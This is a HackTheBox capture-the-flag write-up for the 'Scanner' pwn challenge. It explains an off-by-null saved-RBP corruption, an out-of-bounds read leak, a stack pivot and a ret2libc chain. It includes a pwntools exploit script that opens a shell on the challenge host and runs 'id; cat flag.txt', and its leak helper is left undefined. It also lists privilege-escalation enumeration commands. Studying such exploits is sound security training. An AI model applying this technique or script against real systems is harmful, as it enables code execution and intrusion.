Scanner
Scanner
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: fgets_return_overwrite, leak_derived_delta, off_by_one_null_byte, oob_read_infoleak, ret2libc, saved_rbp_corruption, stack_pivot_via_rbp
Summary
Task: PIE/no-canary glibc 2.31 menu pwn with a scanf("%16s") off-by-null that zeroes main's saved RBP and an OOB-read scanner that leaks the stack. Solution: leak via the OOB oracle, derive the pivot delta directly from a leaked stack qword (buf=leak-0x1100, main_rbp=leak-0xF0), pivot main's frame into the controlled buffer, then overwrite the option-1 fgets's own saved return address (offset delta-8) with a ret2libc chain.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260530_hackthebox_scanner - Tags: pie, oob_read, scanf, off_by_one, ret2libc, fgets, stack_pivot, no_canary, glibc_2_31
- Indicators: scanf("%16s") into a 16-byte buffer at [rbp-0x10], function epilogue leave;ret with corrupted saved rbp, scanner that reads one byte past a 0x1000 buffer (Found at i=4095), PIE + No canary + glibc 2.31, menu loop reading locals (idx/ptr/size) relative to rbp
- Source:
20260530_hackthebox_scanner.md
Foothold
Vulnerability / Misconfiguration
- Fgets_return_overwrite
- Leak_derived_delta
- Off_by_one_null_byte
- Oob_read_infoleak
- Ret2libc
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- fgets_return_overwrite
- leak_derived_delta
- off_by_one_null_byte
- oob_read_infoleak
- ret2libc
- saved_rbp_corruption
- stack_pivot_via_rbp
- Tags: pie, oob_read, scanf, off_by_one, ret2libc, fgets, stack_pivot, no_canary, glibc_2_31
Original Writeup
<details><summary>Click to expand original content</summary>Description
In the spirit of optimisation, I wanted a fast memory searching algorithm, and thanks to this program I think I've finally found one. Not only is it fast, it's also completely secure.
We are given an archive (password hackthebox) containing the scanner binary, libc.so.6 (glibc 2.31), ld-2.31.so, and a fake local flag.txt. The goal is remote code execution against 154.57.164.64:31193 to read the real flag.
This is a multi-stage stack-pivot challenge. The crux is not finding the bugs (an off-by-null in scanf("%16s") and an out-of-bounds read in the scanner) but precisely deriving the stack geometry so the pivot lands deterministically with no ASLR brute force.
Analysis
Recon / checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
libc: glibc 2.31 (provided)
PIE + no canary means: leak something, then a single return-address overwrite is enough to redirect control. No canary removes any need to leak/repair a stack cookie.
Program structure
main() runs a menu loop. Its prologue is:
push rbp mov rbp, rsp sub rsp, 0x1010 ; 0x1000 buffer + locals
Frame layout (relative to main's rbp):
| Location | Meaning |
|---|---|
[rbp-0x1010] | buf — 0x1000-byte working buffer |
[rbp-0x10] | ptr — pointer returned by malloc |
[rbp-0x8] | size — fread size |
[rbp-0x4] | idx — selected scanner index |
Menu options:
- 1 — Update buffer:
fgets(buf, 0x1000, stdin)into[rbp-0x1010]. No scanner-name validation. This fgets is the control-flow hijack primitive. - 2 — Test performance:
read_parameters()→ loopsrun_scanner()→free(ptr). - 3 — Run scanner:
read_parameters()→run_scanner()→print_scanner_output()→free(ptr). - 0 — Exit.
read_parameters() has its own frame with a 16-byte name buffer at [rbp-0x10]:
printf("Enter parameters: ");
scanf("%16s %u", name, &size); // name @ [rbp-0x10], 16 bytes
idx = get_scanner_index(name); // strncmp(name, entry, 16) over scanners[]
*arg_idx = idx;
if (size > 0x1000) exit;
ptr = malloc(size);
fread(ptr, 1, size, stdin);
// epilogue: leave ; ret
scanners[] = { "naive1"=0, "naive2"=1, "memmem"=2 }.
run_scanner(idx, ptr, 0x1000, size, ...):
- exits with
Invalid scanner!ifidx ∉ {0,1,2} - requires
ptr != 0 - requires
size <= 0x1000 - then dispatches to the chosen scanner over the buffer.
Vulnerability 1 — off-by-null in read_parameters (saved RBP corruption)
scanf("%16s") writes up to 16 non-space characters and then a NUL terminator. The name buffer is at [rbp-0x10] and is exactly 16 bytes wide. Writing exactly 16 chars makes scanf place the terminating \0 at byte offset 16:
[rbp-0x10] .................. name (16 bytes)
[rbp+0x00] <- NUL written here == SAVED RBP of read_parameters
The saved RBP of read_parameters is main's frame pointer. So the off-by-null zeroes the low byte of main's saved rbp. When read_parameters does leave; ret, the corrupted rbp is loaded into main.
From then on, main reads every local — idx, ptr, size, and even buf = [rbp-0x1010] — relative to the corrupted rbp, which now points into the attacker-controlled 0x1000 buffer. This is the pivot primitive. Crucially, RSP is never corrupted, only RBP.
A subtlety: a valid scanner name (naive1, …) can never be 16 bytes (the stored names are short and scanf cannot input embedded NULs), so the off-by-null name is always "invalid". That is fine: the off-by-null happens in read_parameters before main re-reads idx from the corrupted location. We pre-place a fake idx = 0 in the buffer so the subsequent run_scanner accepts it.
Vulnerability 2 — OOB read oracle (info leak)
The naive1 scanner compares search bytes past buffer index 4095 (one out of bounds). By searching for a known byte and watching for the response Found at i=4095, we leak adjacent stack memory byte-by-byte, deterministically. Recovered qwords:
leaked[0:8]→p0— pointer returned by the firstmalloc(heap)leaked[24:32]→ libc return address (__libc_start_main+0xf3) →libc_baseleaked[40:48]→ a stack qword equal tobuf + 0x1100
The geometric crux (what unblocked the solve)
Dynamic gdb was impossible: running the amd64 binary under Rosetta on Apple Silicon breaks ptrace (Couldn't get registers: I/O error). Instead, an LD_PRELOAD probe hooking fgets recovered the exact stack geometry, confirmed across many runs:
- The qword at
buf+0x1028(== OOB leak offset0x28, i.e.leaked[40:48]) is consistentlybuf+0x1100.
From that single leaked qword everything is derivable — no ASLR low-bit brute force:
buf = leak - 0x1100
main_rbp = buf + 0x1010 = leak - 0xF0
delta = main_rbp & 0xFF
The saved return address of the option-1 fgets call sits at buf-8 (at the call site main's rsp == buf, since main has no further pushed locals, so the return address is at rsp-8).
After the pivot, the option-1 fgets writes to:
dst = (main_rbp & ~0xff) - 0x1010
So the target buf-8 maps to payload offset:
ret_off = (buf-8) - dst = delta - 8
Overwriting fgets's own saved return address at payload offset delta-8 hijacks control the instant fgets returns. This matches the HTB forum hint: "leak libc rbp, then off-by-null, overwrite fgets ret".
Solution
- Leak via the OOB oracle: recover
p0,libc_base(from__libc_start_main+0xf3), and the stack qword →main_rbp = qword - 0xF0,delta = main_rbp & 0xFF. - Prepare a freeable chunk:
malloca 0x500 chunk (so it ends up in unsorted on free), thenmallocsize 1 to popp0back out of tcache sop0is a valid freeable chunk (the laterfree(ptr)must not crash). - Build the pivot buffer, spraying fake locals for every plausible
deltacandidate so the corrupted-rbp read finds valid values:
ptr @ (0x1000 - delta) = p0size @ (0x1008 - delta) = 1idx @ (0x100C - delta) = 0(offsets bounded to ≤0xFFBto fit the 0xFFF buffer)
- Trigger the off-by-null: option 3 with name
"A"*16, size 1. scanf NUL-terminates over main's saved-rbp low byte. main now uses corrupted rbp; it reads fakeidx=0(valid → naive1),ptr=p0,size=1;run_scannerruns fine;free(p0)succeeds. - Hijack via option-1
fgets: send aret-sled from offset 0 up todelta-8, then place the ret2libc chain (pop rdi; ret→/bin/sh→system) exactly at offsetdelta-8. fgets returns into the chain →system("/bin/sh")→ shell. - glibc 2.31 gadgets from the provided libc:
ret,pop rdi; ret,system,/bin/sh. Payload must be newline-free (fgets stops at0x0a); reconnect if any address contains0x0a.
Exploit script (final.py)
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF('./scanner', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'info'
HOST, PORT = '154.57.164.64', 31193
REMOTE = True
def start():
if REMOTE:
return remote(HOST, PORT)
# local under provided loader
return process(['./ld-2.31.so', '--library-path', '.', './scanner'])
def menu(io, choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())
def update_buffer(io, data):
"""Option 1: fgets(buf, 0x1000, stdin)."""
menu(io, 1)
io.send(data if data.endswith(b'\n') else data + b'\n')
def run_scanner(io, name, size, payload):
"""Option 3: read_parameters (scanf %16s %u) then run_scanner then free."""
menu(io, 3)
io.recvuntil(b'Enter parameters: ')
io.sendline(name + b' ' + str(size).encode())
if size:
io.send(payload)
# ---------------------------------------------------------------------------
# Stage 0: OOB-read oracle to leak a single byte at index `i` past the buffer.
# naive1 compares one byte past index 4095; if it equals our search byte we
# get "Found at i=4095". Iterating the search byte recovers stack bytes.
# ---------------------------------------------------------------------------
def leak_byte(io, target_index):
# Implementation detail of the oracle depends on the scanner's search API:
# we set the buffer so the compared OOB byte is the stack byte at
# `target_index`, then brute the search byte 0..255 and detect the
# "Found at i=4095" response. Returns the leaked byte.
for b in range(256):
# craft a search request for byte value `b` against OOB position
# (exact framing per binary; abstracted here)
resp = oracle_query(io, target_index, b)
if b'Found at i=4095' in resp:
return b
raise RuntimeError('leak failed at index %d' % target_index)
def leak_qword(io, base_index):
data = bytes(leak_byte(io, base_index + k) for k in range(8))
return u64(data)
def main():
io = start()
# --- leak ---
p0 = leak_qword(io, 0) # leaked[0:8] first malloc ptr (heap)
ret_libc = leak_qword(io, 24) # leaked[24:32] __libc_start_main+0xf3
stack_q = leak_qword(io, 40) # leaked[40:48] == buf+0x1100
libc.address = ret_libc - (libc.sym['__libc_start_main'] + 0xf3)
buf = stack_q - 0x1100
main_rbp = stack_q - 0xF0 # == buf + 0x1010
delta = main_rbp & 0xFF
log.success('p0 = %#x' % p0)
log.success('libc base = %#x' % libc.address)
log.success('buf = %#x' % buf)
log.success('main_rbp = %#x' % main_rbp)
log.success('delta = %#x -> ret_off = %#x' % (delta, delta - 8))
# --- gadgets (glibc 2.31) ---
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
SYSTEM = libc.sym['system']
BINSH = next(libc.search(b'/bin/sh\x00'))
# --- make p0 a valid freeable chunk so free(ptr) won't crash ---
run_scanner(io, b'naive1', 0x500, b'A' * 0x500) # alloc 0x500 (unsorted on free)
run_scanner(io, b'naive1', 1, b'B') # alloc 1 -> pops p0 from tcache
# --- build pivot buffer: fake locals for delta candidate ---
pivot = bytearray(b'\x00' * 0xFFF)
def place(off, val):
off &= 0xFFF
if off + 8 <= len(pivot):
pivot[off:off+8] = p64(val)
place(0x1000 - delta, p0) # fake ptr
place(0x1008 - delta, 1) # fake size
place(0x100C - delta, 0) # fake idx (valid -> naive1)
# --- trigger off-by-null: 16-char name NUL-terminates over main's rbp low byte ---
# First load the pivot buffer via option 1, THEN trigger via option 3 name="A"*16.
update_buffer(io, bytes(pivot))
run_scanner(io, b'A' * 16, 1, b'C') # scanf("%16s") writes NUL at [rbp+0] of read_parameters
# --- final hijack: option-1 fgets overwrites its own saved return address ---
ret_off = delta - 8
chain = p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
payload = p64(RET) * (ret_off // 8) + chain
assert b'\n' not in payload, 'newline in payload; reconnect & retry (ASLR-dependent)'
update_buffer(io, payload)
io.sendline(b'id; cat flag.txt')
io.interactive()
if __name__ == '__main__':
main()
</details>Note:
oracle_query/leak_byteframing is binary-specific (it sets the buffer so the OOB byte equals the stack byte at the target index and detectsFound at i=4095). The geometry derivation, pivot, and final overwrite are the reusable core.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR